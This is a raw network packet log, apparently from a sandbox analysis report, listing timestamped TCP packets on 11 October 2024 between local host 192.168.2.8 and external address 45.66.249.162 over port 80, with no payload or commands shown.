Oct 11, 2024 22:32:36.984782934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984826088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984827995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984870911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984916925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.984920025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.984954119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990190029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990235090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990263939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990283966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990304947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990324974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990344048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990362883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990382910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990397930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990397930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990397930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990397930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990398884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990398884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990412951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990430117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990446091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990464926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990483999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990487099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990505934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990509033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990526915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990530968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990550041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990556955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990557909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990580082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990596056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990602970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990616083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990626097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990644932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990663052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990664005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990686893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990688086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990710020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990710974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990731001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990731955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990740061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990751982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990781069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990789890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990803003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990812063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990823984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990835905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990844011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990859985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990864992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990879059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990888119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990909100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990910053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990932941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990932941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990943909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.990955114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990976095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990993977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.990993977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.991015911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.991019011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.991036892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.991054058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.991058111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.991080046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.991080999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.991096020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.991118908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.050220013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.055363894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553493023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553575993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553626060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553659916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553673029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553699970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553699970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553721905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553730011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553766012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553771019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553812981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553817034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553864002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553865910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553909063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.553914070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.553962946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.646117926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.646204948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.744563103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.744673014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.744692087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.744745016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.744752884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.744790077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.744811058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.744858027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.744858980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.744905949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.744906902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.744951010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.744954109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745003939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745021105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745058060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745064974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745106936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745111942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745151043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745157957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745197058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745208979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745248079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745254040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745291948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745301008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745346069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745351076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745383978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745390892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745433092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745439053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745476961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745485067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745528936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745532990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745577097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745583057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745628119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745641947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745682955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745692015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745732069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745738029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745776892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.745788097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.745827913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854252100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854341030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854348898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854394913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854418993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854465961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854466915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854513884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854532957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854579926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854581118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854628086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854629040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854672909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854676008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854721069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854722977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854765892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854772091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854829073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854836941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854878902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854882956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854932070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854948997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.854991913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.854995012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855041027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855041981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855087042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855087996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855130911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855139017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855186939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855187893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855236053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855237007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855278969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855282068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855325937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855326891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855370998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855372906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855412006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855441093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855485916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855488062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855534077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855535984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855576992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855580091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855623960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855626106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855669022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855673075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855715990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855717897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855760098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855763912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855808973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855811119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855854034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855854034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855896950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855901003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855942965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.855951071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.855998993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856000900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856038094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856041908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856081963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856087923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856127977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856134892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856179953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856180906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856224060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856226921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856271982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856271982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856313944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856317997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856359005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856364965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856409073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:37.856412888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:37.856455088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.013628006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.013701916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.013771057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.013791084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.013817072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.013838053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.013861895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.013906002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.013911009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.013952017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.013958931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.013998032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014022112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014064074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014085054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014127016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014132977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014173031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014179945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014223099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014244080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014286041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014292955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014333963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014352083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014398098 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014416933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014458895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014462948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014508963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014508963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014549017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014585018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014627934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014636993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014677048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014682055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014722109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014729977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014769077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014775991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014816046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014836073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014873028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014897108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014938116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014945030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.014983892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.014991045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015033960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015054941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015095949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015115976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015156984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015178919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015218019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015224934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015265942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015288115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015330076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015333891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015372992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015379906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015423059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015455008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015497923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015501976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015543938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015547991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015588999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015593052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015633106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015640020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015680075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015686035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015727043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015732050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015774965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015779972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015821934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015826941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015866041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015873909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015913963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015918970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.015960932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.015965939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016006947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016010046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016052008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016058922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016100883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016107082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:38.016146898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:38.016155005 CEST	80	49707	45.66.249.162	192.168.2.8
